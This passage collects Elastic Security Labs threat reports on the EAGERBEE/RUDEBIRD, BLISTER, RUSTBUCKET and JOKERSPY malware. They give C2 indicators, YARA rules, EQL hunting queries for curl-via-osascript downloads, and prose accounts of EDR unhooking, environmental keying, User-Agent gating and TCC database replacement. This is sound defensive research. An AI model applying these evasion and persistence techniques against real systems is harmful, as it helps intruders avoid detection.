.mn is the Internet ccTLD for Mongolia and REDACTED is a large bank in Mongolia. When researching the network infrastructure for REDACTED, we can see that they do currently own their DNS infrastructure.

It does not appear that shop.REDACTED[.]mn was ever registered. This self-signed TLS certificate was likely used to encrypt C2 traffic. While we cannot confirm that this certificate was used for EAGERBEE or RUDEBIRD, in the malware code analysis of both EAGERBEE and RUDEBIRD, we identified that TLS to an IP address is an available malware configuration option. We do believe that this domain is related to EAGERBEE and RUDEBIRD based on the registration dates, IP addresses, and subdomains of the hosted-by-bay[.]net domain.

As noted in the EAGERBEE malware analysis, we identified two other previously unnamed EAGERBEE samples used to target Mongolian victims and also leveraged Mongolian C2 infrastructure.

Defense evasion

Finally, we see all of the C2 IP addresses add and remove services at similar dates and times. This is a tactic to hinder the analysis of the C2 infrastructure by limiting its availability. It should be noted that the history of the service enablement and disablement (provided by Censys.io databases) is meant to show possible coordination in C2 availability. The images below show the last service change windows, further historical data was not available.

192.123.245[.]79 had TCP port 80 enabled on September 22, 2023 at 07:31 and then disabled on September 24, 2023 at 07:42.

!192.123.245[.]79 C2 service windows

185.195.237[.]123 had TCP port 443 enabled on September 22, 2023 at 03:33 and then disabled on September 25, 2023 at 08:08.

!185.195.237[.]123 C2 service windows

185.82.217[.]164 had TCP port 443 enabled on September 22, 2023 at 08:49 and then disabled on September 25, 2023 at 01:02.

!185.82.217[.]164 C2 service windows

45.90.58[.]103 had TCP port 443 enabled on September 22, 2023 at 04:46 and then disabled on September 24, 2023 at 09:57.

!45.90.58[.]103 C2 service windows

Network intersection summary

EAGERBEE and RUDEBIRD are two malware samples, co-resident on the same infected endpoint, in the same environment. This alone builds a strong association between the families.

When adding the fact that both families use C2 endpoints that have been used to register subdomains on the same domain hosted-by-bay[.]net), and the service availability coordination, leads us to say with a high degree of confidence that the malware and campaign operators are from the same tasking authority, or organizational umbrella.

Summary

EAGERBEE, RUDEBIRD, and DOWNTOWN backdoors all exhibit characteristics of incompleteness whether using “Test” in file/service names, ignoring compilation best practices, leaving orphaned code, or leaving a smattering of extraneous debug statements.

They all, however, deliver similar tactical capabilities in the context of this environment.

Local enumeration
Persistence
Download/execute additional tooling
C2 options

The variety of tooling performing the same or similar tasks with varying degrees and types of miscues causes us to speculate that this environment has attracted the interest of multiple players in the REF2924 threat actor’s organization. The victim's status as a government diplomatic agency would make it an ideal candidate as a stepping-off point to other targets within and outside the agency’s national borders. Additionally, it is easy to imagine that multiple entities within a national intelligence apparatus would have collection requirements that could be satisfied by this victim directly.

This environment has already seen the emergence of the REF2924 intrusion set (SIESTAGRAPH, NAPLISTENER, SOMNIRECORD, and DOORME), as well as the deployment of SHADOWPAD and COBALTSTRIKE. The REF2924 and REF5961 threat actor(s) continue to deploy new malware into their government victim’s environment.

REF5961 and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advance persistent threats used against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Malware prevention capabilities

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the EAGERBEE, RUDEBIRD, and DOWNTOWN malware:

EAGERBEE

rule Windows_Trojan_EagerBee_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-09"
        last_modified = "2023-06-13"
        threat_name = "Windows.Trojan.EagerBee"
        reference_sample = "09005775fc587ac7bf150c05352e59dc01008b7bf8c1d870d1cea87561aa0b06"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $a1 = { C2 EB D6 0F B7 C2 48 8D 0C 80 41 8B 44 CB 14 41 2B 44 CB 0C 41 }
        $a2 = { C8 75 04 33 C0 EB 7C 48 63 41 3C 8B 94 08 88 00 00 00 48 03 D1 8B }

    condition:
        all of them
}

rule Windows_Trojan_EagerBee_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-09-04"
        last_modified = "2023-09-20"
        threat_name = "Windows.Trojan.EagerBee"
        reference_sample = "339e4fdbccb65b0b06a1421c719300a8da844789a2016d58e8ce4227cb5dc91b"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $dexor_config_file = { 48 FF C0 8D 51 FF 44 30 00 49 03 C4 49 2B D4 ?? ?? 48 8D 4F 01 48 }
        $parse_config = { 80 7C 14 20 3A ?? ?? ?? ?? ?? ?? 45 03 C4 49 03 D4 49 63 C0 48 3B C1 }
        $parse_proxy1 = { 44 88 7C 24 31 44 88 7C 24 32 48 F7 D1 C6 44 24 33 70 C6 44 24 34 3D 88 5C 24 35 48 83 F9 01 }
        $parse_proxy2 = { 33 C0 48 8D BC 24 F0 00 00 00 49 8B CE F2 AE 8B D3 48 F7 D1 48 83 E9 01 48 8B F9 }

    condition:
        2 of them
}

RUDEBIRD

rule Windows_Trojan_RudeBird {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-09"
        last_modified = "2023-06-13"
        threat_name = "Windows.Trojan.RudeBird"
        license = "Elastic License v2"
        os = "windows"

  strings:
        $a1 = { 40 53 48 83 EC 20 48 8B D9 B9 D8 00 00 00 E8 FD C1 FF FF 48 8B C8 33 C0 48 85 C9 74 05 E8 3A F2 }

    condition:
        all of them
}

DOWNTOWN

rule Windows_Trojan_DownTown_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-10"
        last_modified = "2023-06-13"
        threat_name = "Windows.Trojan.DownTown"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $a1 = "SendFileBuffer error -1 !!!" fullword
        $a2 = "ScheduledDownloadTasks CODE_FILE_VIEW " fullword
        $a3 = "ExplorerManagerC.dll" fullword

    condition:
        3 of them
}

rule Windows_Trojan_DownTown_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-08-23"
        last_modified = "2023-09-20"
        threat_name = "Windows.Trojan.DownTown"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $a1 = "DeletePluginObject"
        $a2 = "GetPluginInfomation"
        $a3 = "GetPluginObject"
        $a4 = "GetRegisterCode"

    condition:
        all of them
}

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

| Observable | Type | Name | Reference | |------------------------------------------------------------------|---------|--------------------|----------------| | ce4dfda471f2d3fa4e000f9e3839c3d9fbf2d93ea7f89101161ce97faceadf9a | SHA-256 | EAGERBEE shellcode | iconcaches.mui | | 29c90ac124b898b2ff2a4897921d5f5cc251396e8176fc8d6fa475df89d9274d | SHA-256 | DOWNTOWN | In-memory DLL | | 185.82.217[.]164 | ipv4 | EAGERBEE C2 | | | 195.123.245[.]79 | ipv4 | EAGERBEE C2 | | | 45.90.58[.]103 | ipv4 | RUDEBIRD C2 | | | 185.195.237[.]123 | ipv4 | RUDEBIRD C2 | |

References

The following were referenced throughout the above research:

Revisiting BLISTER: New development of the BLISTER loader

Salim Bitam,Daniel Stepanic — Thu, 24 Aug 2023 00:00:00 GMT

Preamble

In a fast-paced and ever-changing world of cybercrime threats, the tenacity and adaptability of malicious actors is a significant concern. BLISTER, a malware loader initially discovered by Elastic Security Labs in 2021 and associated with financially-motivated intrusions, is a testament to this trend as it continues to develop additional capabilities. Two years after its initial discovery, BLISTER continues to receive updates while flying under the radar, gaining momentum as an emerging threat. Recent findings from Palo Alto’s Unit 42 describe an updated SOCGHOLISH infection chain used to distribute BLISTER and deploy a payload from MYTHIC, an open-source Command and Control (C2) framework.

Key takeaways

Elastic Security Labs has been monitoring malware loader BLISTER ramping up with new changes, and ongoing development with signs of imminent threat activity
New BLISTER update includes keying feature that allows for precise targeting of victim networks and lowers exposure within VM/sandbox environments
BLISTER now integrates techniques to remove any process instrumentation hook and has modified its configuration with multiple revisions, now encompassing additional fields and flags.

Overview

Our research uncovered new functionality that was previously absent within the BLISTER family, indicating ongoing development. However, the malware authors continue to use a distinctive technique of embedding malicious code in otherwise legitimate applications. This approach superficially appears successful, given the low rates of detection for many vendors as seen in VirusTotal. The significant amount of benign code and use of encryption to protect the malicious code are likely two factors impacting detection.

Recently, Elastic Security Labs has observed many new BLISTER loaders in the wild. After analyzing various samples, it’s clear that the malware authors have made some changes and have been watching the antivirus industry closely. In one sample from early June, we can infer that the authors were testing with a non-production loader that displays a Message Box displaying the strings “Test”.

Readers can see a disassembled view of this functionality below.

By the end of July, we observed campaigns involving a new BLISTER loader that targeted victim organizations to deploy the MYTHIC implant.

At the time of this writing, Elastic Security Labs is seeing a stream of BLISTER samples which deploy MYTHIC and have very low rates of detection.

Comparative analyses

Smuggling malicious code

The authors behind BLISTER employ a consistent strategy of embedding BLISTER's malicious code within a legitimate library. The most recent variants of this loader have targeted the VLC Media Player library to smuggle their malware into victim environments. This blend of benign and malicious code seems effective at defeating some kinds of machine-learning models.

The following is a comparison between a legitimate VLC DLL and one that is infected with BLISTER’s code. In the infected sample, the entry point that references malicious code has been indicated in red. This methodology is similar to prior BLISTER variants.

Different hashing algorithm

One of the changes implemented since our last write-up is the adoption of a different hashing algorithm used in the core and in the loader part of BLISTER. While the previous version used simple logic to shift bytes, this new version includes a hard-coded seed with XOR and multiplication operations. Researchers speculate that changing the hashing approach helps to evade antimalware products that rely on YARA signatures.

Configuration retrieval

Following the decryption of malicious code by the BLISTER’d loader, it employs an identical memory scanning method to identify the configuration data blob. This is accomplished by searching for a predetermined, hardcoded memory pattern. A notable contrast from the earlier iteration of BLISTER lies in the fact that the configuration is now decrypted in conjunction with the core code, rather than being treated as a separate entity.

Environmental keying

A recent addition to BLISTER is the capability to exclusively execute on designated machines. This behavior is activated by configuring the appropriate flag within the malware’s configuration. Subsequently, the malware proceeds to extract the machine's domain name using the GetComputerNameExW Windows API. Following this, the domain name is hashed using the previously mentioned algorithm, and the resulting hash is then compared to a hash present in the configuration. This functionality is presumably deployed for the purpose of targeted attacks or for testing scenarios, ensuring that the malware refrains from infecting unintended systems such as those employed by malware researchers.

One of the few malware analysis tools capable of quickly exposing this behavior is the awesome Tiny Tracer utility by hasherezade. We’ve included an excerpt from Tiny_Tracer below which captures the BLISTER process immediately terminating after the GetComputerNameExW validation is performed in a sandboxed analysis VM.

Time-based anti-debugging feature

Similar to its predecessors, the malware incorporates a time-based anti-debugging functionality. However, unlike the previous versions in which the timer was hardcoded, the updated version introduces a new field in the configuration. This field enables the customization of the sleep timer, with a default value of 10 minutes. This default interval remains unchanged from prior iterations of BLISTER.

Unhook process instrumentation to detect syscalls

In this latest version, BLISTER introduces noteworthy functionality: it unhooks any ongoing process instrumentation, a tactic designed to circumvent userland syscall detection mechanisms upon which certain EDR solutions are based.

BLISTER's configuration

The BLISTER configuration structure has also been changed with the latest variants. Two new fields have been added and the flag field at offset 0 has been changed from a WORD to a DWORD value. The new fields pertain to the hash of the domain for environmental keying and the configurable sleep time; these field values are at offset 4 and 12 respectively. The following is the updated structure of the configuration:

Changes have also been made to the configuration flags, allowing the operator to activate different functions within the malware. Researchers have provided an updated list of functions built upon our prior research into BLISTER.

Payload extractor update

In our previous research publication, we introduced an efficient payload extractor tailored to dissect and extract the configuration and payload of the loader. To dissect the most recent BLISTER variants and capture these new details, we enhanced our extractor which is available here.

Conclusion

BLISTER is one small part of the global cybercriminal ecosystem, providing financially-motivated threats to gain access to victim environments and avoid detection by security sensors. The community should consider these new developments and assess the efficacy of BLISTER detections, Elastic Security Labs will continue to monitor this threat and share actionable guidance.

Detection logic

Prevention

YARA

Elastic Security has created YARA rules to identify this activity. Below is the latest rule that captures the new update to BLISTER.

rule Windows_Trojan_Blister {
    meta:
        author = "Elastic Security"
        creation_date = "2023-08-02"
        last_modified = "2023-08-08"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Blister"
        threat_name = "Windows.Trojan.Blister"
        license = "Elastic License v2"
    strings:
        $b_loader_xor = { 48 8B C3 49 03 DC 83 E0 03 8A 44 05 48 [2-3] ?? 03 ?? 4D 2B ?? 75 }
        $b_loader_virtual_protect = { 48 8D 45 50 41 ?? ?? ?? ?? 00 4C 8D ?? 04 4C 89 ?? ?? 41 B9 04 00 00 00 4C 89 ?? F0 4C 8D 45 58 48 89 44 24 20 48 8D 55 F0 }
    condition:
        all of them
}

Observed adversary tactics and techniques

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques / Sub techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

References

The following were referenced throughout the above research:

Observables

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

| Indicator | Type | Reference | |-----------|------|-----------| | 5fc79a4499bafa3a881778ef51ce29ef015ee58a587e3614702e69da304395db | sha256 | BLISTER loader DLL |

The DPRK strikes using a new variant of RUSTBUCKET

Salim Bitam,Ricardo Ungureanu,Colson Wilhoit,Seth Goodwin,Andrew Pease — Fri, 14 Jul 2023 00:00:00 GMT

Key takeaways

The RUSTBUCKET malware family is in an active development phase, adding built-in persistence and focusing on signature reduction.
REF9135 actors are continually shifting their infrastructure to evade detection and response.
The DPRK continues financially motivated attacks against cryptocurrency service providers.
If you are running Elastic Defend, you are protected from REF9135

Preamble

The Elastic Security Labs team has detected a new variant of the RUSTBUCKET malware, a family that has been previously attributed to the BlueNorOff group by Jamf Threat Labs in April 2023.

This variant of RUSTBUCKET, a malware family that targets macOS systems, adds persistence capabilities not previously observed and, at the time of reporting, is undetected by VirusTotal signature engines. Elastic Defend behavioral and prebuilt detection rules provide protection and visibility for users. We have also released a signature to prevent this malware execution.

The research into REF9135 used host, binary, and network analysis to identify and attribute intrusions observed by this research team, and other intelligence groups, with high confidence to the Lazarus Group; a cybercrime and espionage organization operated by the Democratic People’s Republic of North Korea (DPRK).

This research will describe:

REF9135’s use of RUSTBUCKET for sustained operations at a cryptocurrency payment services provider
Reversing of an undetected variant of RUSTBUCKET that adds a built-in persistence mechanism
How victimology, initial infection, malware, and network C2 intersections from first and third-party collection align with previous Lazarus Group reporting

RUSTBUCKET code analysis

Overview

Our research has identified a persistence capability not previously seen in the RUSTBUCKET family of malware, leading us to believe that this family is under active development. Additionally, at the time of publication, this new variant has zero detections on VirusTotal and is leveraging a dynamic network infrastructure methodology for command and control.

Stage 1

During Stage 1, the process begins with the execution of an AppleScript utilizing the %2Fusr%2Fbin%2Fosascript command. This AppleScript is responsible for initiating the download of the Stage 2 binary from the C2 using cURL. This session includes the string pd in the body of the HTTP request and cur1-agent as the User-Agent string which saves the Stage 2 binary to %2Fusers%2Fshared%2F.pd, (7887638bcafd57e2896c7c16698e927ce92fd7d409aae698d33cdca3ce8d25b8).

Stage 2

The Stage 2 binary ( .pd ) is compiled in Swift and operates based on command-line arguments. The binary expects a C2 URL to be provided as the first parameter when executed. Upon execution, it invokes the downAndExec function, which is responsible for preparing a POST HTTP request. To initiate this request, the binary sets the User-Agent string as mozilla%2F4.0 (compatible; msie 8.0; windows nt 5.1; trident%2F4.0) and includes the string pw in the body of the HTTP request.

During execution, the malware utilizes specific macOS APIs for various operations. It begins with NSFileManager's temporaryDirectory function to obtain the current temporary folder, then generates a random UUID using NSUUID's UUID.init method. Finally, the malware combines the temporary directory path with the generated UUID to create a unique file location and writes the payload to it.

Once the payload, representing Stage 3 of the attack is written to disk, the malware utilizes NSTask to initiate its execution.

Stage 3

In Stage 3, the malware (9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747) is a FAT macOS binary that supports both ARM and Intel architectures written in Rust. It requires a C2 URL to be supplied as a parameter.

The malware initiates its operations by dynamically generating a 16-byte random value at runtime. This value serves as a distinctive identifier for the specific instance of the active malware. Subsequently, the malware proceeds to gather comprehensive system information, including:

Computer name
List of active processes
Current timestamp
Installation timestamp
System boot time
Status of all running processes within the system

The malware establishes its initial connection to the C2 server by transmitting the gathered data via a POST request. The request is accompanied by a User-Agent string formatted as Mozilla%2F4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident%2F4.0).

Upon receiving the request, the C2 server responds with a command ID, which serves as an instruction for the malware. The malware is designed to handle only two commands.

Command ID 0x31

This command directs the malware to self-terminate.

Command ID 0x30

This command enables the operator to upload malicious Mach-O binaries or shell scripts to the system and execute them. The payload is stored in a randomly generated temporary path and created within the current user TMP directory following the naming convention of $TMPDIR%2F.\<8 random digits\>

Below is a summary of the command structure, indicating the constants, arguments, and payload components for easy comprehension.

The malware proceeds by granting execution permissions to the uploaded file using the chmod API.

After executing the payload, the malware sends a status update to the server, notifying it of the completed execution, and then sleeps for 60 seconds. Following this delay, the malware loops to collect system information once again and remains in a waiting state, anticipating the arrival of the next command from the server

The undetected version of RUSTBUCKET

Using code similarities from the sample in our telemetry, we searched VirusTotal and identified an undetected variant of RUSTBUCKET.

As of the publication of this research, the newly discovered version of the malware has not been flagged by any antivirus engines on VirusTotal. A thorough analysis of the sample brought to light the addition of a new persistence capability and C2 infrastructure. The behavioral rules for Elastic Defend prevent, and Elastic’s prebuilt detection rules identify, this activity. We have also released a signature that will prevent this new variant of RUSTBUCKET.

Persistence

A predominant method utilized by malware to achieve persistence on macOS is through the utilization of LaunchAgents. In macOS, users have individual LaunchAgents folders within their Library directory, enabling them to define code that executes upon each user login. Additionally, a system-level LaunchAgents folder exists, capable of executing code for all users during the login process. Elastic Defend monitors for the creation of LaunchAgents and LaunchDaemons containing malicious or suspicious values as a way to detect these persistence techniques.

In the case of this updated RUSTBUCKET sample, it establishes its own persistence by adding a plist file at the path %2FUsers%2F\%2FLibrary%2FLaunchAgents%2Fcom.apple.systemupdate.plist , and it copies the malware’s binary to the following path %2FUsers%2F\%2FLibrary%2FMetadata%2FSystem Update.

There are several elements of the plist file, using standard true%2Ffalse or string values:

Label: The key "Label" specifies the name of the LaunchAgent, which in this case is com.apple.systemupdate. This expects a string value.
RunAtLoad: This indicates that the LaunchAgent should execute its associated code immediately upon loading, specifically during system startup or user login. This expects a true%2Ffalse value.
LaunchOnlyOnce: This prevents the malware from being executed multiple times concurrently and expects a true%2Ffalse value.
KeepAlive: This key instructs the system to keep the LaunchAgent running and relaunch it if it terminates unexpectedly. This expects a true%2Ffalse value.
ProgramArguments: The "ProgramArguments" key specifies an array of strings that define the program or script to be executed by the LaunchAgent. This expects a string value and in this case, the LaunchAgent executes the file located at "%2FUsers%2F\%2FLibrary%2FMetadata%2FSystem Update" and provides the C2 URL "https:%2F%2Fwebhostwatto.work[.]gd" as an argument to the malware.

RUSTBUCKET and REF9135 analysis

Overview

The RUSTBUCKET campaign has previously been associated with BlueNorOff by Jamf and Sekoia.io. BlueNorOff is believed to be operating at the behest of the DPRK for the purposes of financial gain in order to ease the strain of global sanctions. BlueNorOff is a sub-unit of the overarching DPRK offensive cyber attack organization, the Lazarus Group. The 2016 Bangladesh Bank robbery stands out as BlueNorOff's most notorious attack, wherein their objective was to illicitly transfer over $850M from the Federal Reserve Bank of New York account owned by Bangladesh Bank, the central bank of Bangladesh, by exploiting the SWIFT network.

As an analyst note, if you’re interested in a tremendously verbose and detailed walkthrough of this intrusion, Geoff White and Jean Lee released a 19-part podcast through the BBC World Service that is an unbelievable account of this event.

Networking infrastructure

The persistence mechanism identified previously calls out to https:%2F%2Fwebhostwatto.work[.]gd. Third-party research into this URL indicates that 12%2F89 VirusTotal vendors have identified it as malicious, and it exists within a community collection documenting the DangerousPassword phishing campaign.

!VT detections and community collections for https://webhostwatto.work[.]gd

VirusTotal last saw the domain pointing to 104.168.167[.]88. Which has been specifically identified in a Sekoia.io blog in May as part of BlueNorOff’s RUSTBUCKET campaign.

!Updated RUSTBUCKET IP (104.168.167[.]88) previously identified by Sekoia.io

Further connecting webhostwatto.work[.]gd to DangerousPassword, BlueNorOff, and the DPRK campaigns, this domain shares a TLS leaf certificate fingerprint hash ( 1031871a8bb920033af87078e4a418ebd30a5d06152cd3c2c257aecdf8203ce6 ) with another domain, companydeck[.]online.

companydesk[.]online is included in the VirusTotal Graph (VirusTotal account required) for APT38, which is also known as DangerousPassword, BlueNorOff, etc.

DangerousPassword and BlueNorOff are campaigns that have both been previously associated with the DPRK.

Using the IP address (64.44.141[.]15) for our initial C2 domain, crypto.hondchain[.]com, we uncovered 3 additional C2 domains:

starbucls[.]xyz
jaicvc[.]com
docsend.linkpc[.]net (dynamic DNS domain)

While there are only 5 hosts (4 total domains) registered to the C2 IP address (indicating that this was not a high-capacity hosting server), we looked for additional relationships to increase the association confidence between the domains. To do this, we replicated the same fingerprinting process previously used with webhostwatto.work[.]gd. The TLS fingerprint hash for starbucls[.]xyz ( 788261d948177acfcfeb1f839053c8ee9f325bd6fb3f07637a7465acdbbef76a ) is the same fingerprint as jaicvc[.]com.

With these two domains having the same TLS fingerprint hash and the fact that they were both registered to the IP address, we were able to cluster these atomic entities, and their siblings, together with high confidence:

All hosts were registered to 64.44.141[.]15
starbucls[.]xyz and crypto.hondchain[.]com were observed being used by our malware samples
starbucls[.]xyz and jaicvc[.]com shared a TLS fingerprint

Looking at the “First” column (when they were first observed through 3rd party passive DNS), these hosts are being created rapidly, likely as an attempt to stay ahead of detection efforts by research teams. We are associating the following domains and IP address to the REF9135 campaign with high confidence:

starbucls[.]xyz
jaicvc[.]com
crypto.hondchain[.]com
64.44.141[.]15

We have not observed docsend.linkpc[.]net being used with the RUSTBUCKET samples we analyzed. However, its shared IP registration and host siblings lead us to state with a moderate degree of confidence that it is directly related to RUSTBUCKET and REF9135 as C2 infrastructure; and a high degree of confidence that it is malicious (shared infrastructure as part of other campaigns).

Defense evasion

The campaign owners used techniques to hinder the collection of Stage 2 and Stage 3 binaries by analysts who may have overlooked User-Agent strings in their investigations, as well as internet scanners and sandboxes focused on collecting malicious binaries.

As outlined in the Stage 1 section, there is a specific User-Agent string ( cur1-agent ) that is expected when downloading the Stage 2 binary, if you do not use the expected User-Agent, you will be provided with a 405 HTTP response status code (Method Not Allowed).

It also appears that the campaign owners are monitoring their payload staging infrastructure. Using the expected User-Agent for the Stage 3 binary download (mozilla%2F4.0 (compatible; msie 8.0; windows nt 5.1; trident%2F4.0)), we were able to collect the Stage 3 binary.

Finally, we observed REF9135 changing its C2 domain once we began to collect the Stage 2 and 3 binaries for analysis. When making subsequent requests to the original server (crypto.hondchain[.]com), we received a 404 HTTP response status code (Not Found) and shortly after, a new C2 server was identified (starbucls[.]xyz). This could be because we caught the binary before it was rolled off as part of a normal operational security practice (don’t leave your valuable payload attached to the Internet to be discovered) or because they observed a connection to their infrastructure that was not from their targeted network.

Of note, while the User-Agent strings above could initially appear to be the default cURL or Firefox User-Agents strings to an analyst, they are not. The default cURL User-Agent string is curl%2Fversion.number whereas the malware uses cur1-agent (using a 1 in place of the l in “curl”). Additionally, the “Firefox” string is all lowercase (mozilla%2F4.0 (compatible; msie 8.0; windows nt 5.1; trident%2F4.0)), unlike actual Firefox User-Agent strings which are camel-cased.

This requirement to download payloads allows the attackers to restrict distribution to only requestors who know the correct UA string. This provides strong protection against both scanning services and researchers, who would otherwise have early access to hosted malicious files for analysis and detection engineering.

Victimology

The REF9135 victim is a venture-backed cryptocurrency company providing services to businesses such as payroll and business-to-business transactions with a headquarters in the United States. This victim fits the mold from prior reporting on BlueNorOff targeting organizations with access to large amounts of cryptocurrency for theft.

Observed adversary tactics and techniques

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Diamond model

Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.

Detection logic

Prevention

Hunting queries

The events for EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.

EQL queries

Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors observed in REF9135.

Suspicious Curl File Download via Osascript

process where process.parent.name : "osascript" and process.name : "curl" and process.args : "-o"

Suspicious URL as argument to Self-Signed Binary

process where event.type == "start" and event.action == "exec" and 
 process.code_signature.trusted == false and 
 process.code_signature.signing_id regex~ """[A-Za-z0-9\_\s]{2,}\-[a-z0-9]{40}""" and 
 process.args : "http*" and process.args_count <= 3

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the RUSTBUCKET malware:

 rule MacOS_Trojan_RustBucket {
    meta:
        author = "Elastic Security"
        creation_date = "2023-06-26"
        last_modified = "2023-06-26"
        license = "Elastic License v2"
        os = "MacOS"
        arch = "x86"
        category_type = "Trojan"
        family = "RustBucket"
        threat_name = "MacOS.Trojan.RustBucket"
        reference_sample = "9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747"
        severity = 100

    strings:
        $user_agent = "User-AgentMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
        $install_log = "/var/log/install.log"
        $timestamp = "%Y-%m-%d %H:%M:%S"
    condition:
        all of them
}

References

The following were referenced throughout the above research:

Observations

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

| Observable | Type | Name | Reference | | --- | --- | --- | --- | | webhostwatto.work[.]gd | Domain | N%2FA | REF9135 C2 domain | | crypto.hondchain[.]com | Domain | N%2FA | REF9135 C2 domain | | starbucls[.]xyz | Domain | N%2FA | REF9135 C2 domain | | jaicvc[.]com | Domain | N%2FA | REF9135 C2 domain | | docsend.linkpc[.]net | Domain | N%2FA | REF9135 C2 domain | | companydeck[.]online | Domain | N%2FA | Associated by REF9135 TLS fingerprint hash | | 104.168.167[.]88 | ipv4 | N%2FA | REF9135 C2 IP address | | 64.44.141[.]15 | ipv4 | N%2FA | REF9135 C2 IP address | | 788261d948177acfcfeb1f839053c8ee9f325bd6fb3f07637a7465acdbbef76a | x509-certificate | jaicvc[.]com | REF9135 C2 TLS fingerprint hash | | 1031871a8bb920033af87078e4a418ebd30a5d06152cd3c2c257aecdf8203ce6 | x509-certificate | webhostwatto.work[.]gd | REF9135 C2 TLS fingerprint hash | | 9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747 | SHA-256 | N%2FA | MacOS.Trojan.RustBucket | | 7fccc871c889a4f4c13a977fdd5f062d6de23c3ffd27e72661c986fae6370387 | SHA-256 | N%2FA | MacOS.Trojan.RustBucket | | ec8f97d5595d92ec678ffbf5ae1f60ce90e620088927f751c76935c46aa7dc41 | SHA-256 | N%2FA | MacOS.Trojan.RustBucket | | de81e5246978775a45f3dbda43e2716aaa1b1c4399fe7d44f918fccecc4dd500 | SHA-256 | ErrorCheck | MacOS.Trojan.RustBucket | | 4f49514ab1794177a61c50c63b93b903c46f9b914c32ebe9c96aa3cbc1f99b16 | SHA-256 | N%2FA | MacOS.Trojan.RustBucket | | fe8c0e881593cc3dfa7a66e314b12b322053c67cbc9b606d5a2c0a12f097ef69 | SHA-256 | N%2FA | MacOS.Trojan.RustBucket | | 7887638bcafd57e2896c7c16698e927ce92fd7d409aae698d33cdca3ce8d25b8 | SHA-256 | %2FUsers%2FShared%2F.pd | Stage 2 |

Initial research exposing JOKERSPY

Colson Wilhoit,Salim Bitam,Seth Goodwin,Andrew Pease,Ricardo Ungureanu — Wed, 21 Jun 2023 00:00:00 GMT

Key takeaways

This is an initial notification of an active intrusion with additional details to follow
REF9134 leverages custom and open source tools for reconnaissance and command and control
Targets of this activity include a cryptocurrency exchange in Japan

Preamble

This research article explores a recently discovered intrusion we’re calling REF9134, which involves using the sh.py backdoor to deploy the macOS Swiftbelt enumeration tool. sh.py and xcc have recently been dubbed JOKERSPY by Bitdefender.

Specifically, this research covers:

How Elastic Security Labs identified reconnaissance from the adversary group
The adversary’s steps to evade detection using xcc , installing the sh.py backdoor, and deploying enumeration tools

A deeper look at this attack may be published at a later date.

Overview

In late May of 2023, an adversary with existing access in a prominent Japanese cryptocurrency exchange tripped one of our diagnostic endpoint alerts that detected the execution of a binary ( xcc ). xcc is not trusted by Apple, and the adversary self-signed using the native macOS tool codesign. While this detection in itself was not necessarily innocuous, the industry vertical and additional activity we observed following these initial alerts caught our eye and caused us to pay closer attention.

Following the execution of xcc , we observed the threat actor attempting to bypass TCC permissions by creating their own TCC database and trying to replace the existing one. On June 1st a new Python-based tool was seen executing from the same directory as xcc and was utilized to execute an open-source macOS post-exploitation enumeration tool known as Swiftbelt.

Analysis

REF9134 is an intrusion into a large Japan-based cryptocurrency service provider focusing on asset exchange for trading Bitcoin, Ethereum, and other common cryptocurrencies.

The xcc binary

xcc ( d895075057e491b34b0f8c0392b44e43ade425d19eaaacea6ef8c5c9bd3487d8 ) is a self-signed multi-architecture binary written in Swift which is used to evaluate current system permissions. The version observed by Elastic Security Labs is signed as XProtectCheck-55554944f74096a836b73310bd55d97d1dff5cd4 , and has a code signature resembling publicly known and untrusted payloads.

To identify other binaries signed with the same identifier, we converted XProtectCheck-55554944f74096a836b73310bd55d97d1dff5cd4 to hexadecimal and searched VirusTotal to identify 3 additional samples ( content:{5850726f74656374436865636b2d35353535343934346637343039366138333662373333313062643535643937643164666635636434} ).

Each contained the same core functionality with structural differences. These discrepancies may indicate that these variants of xcc were developed to bypass endpoint capabilities that interfered with execution.

Shortly after the creation of xcc , researchers observed the threat actor copying /Users/Shared/tcc.db over the existing TCC database, /Library/Application Support/com.apple.TCC/TCC.db. This may enable the threat to avoid TCC prompts visible to system users while simultaneously abusing a directory with broad file write permissions.

XCode artifacts

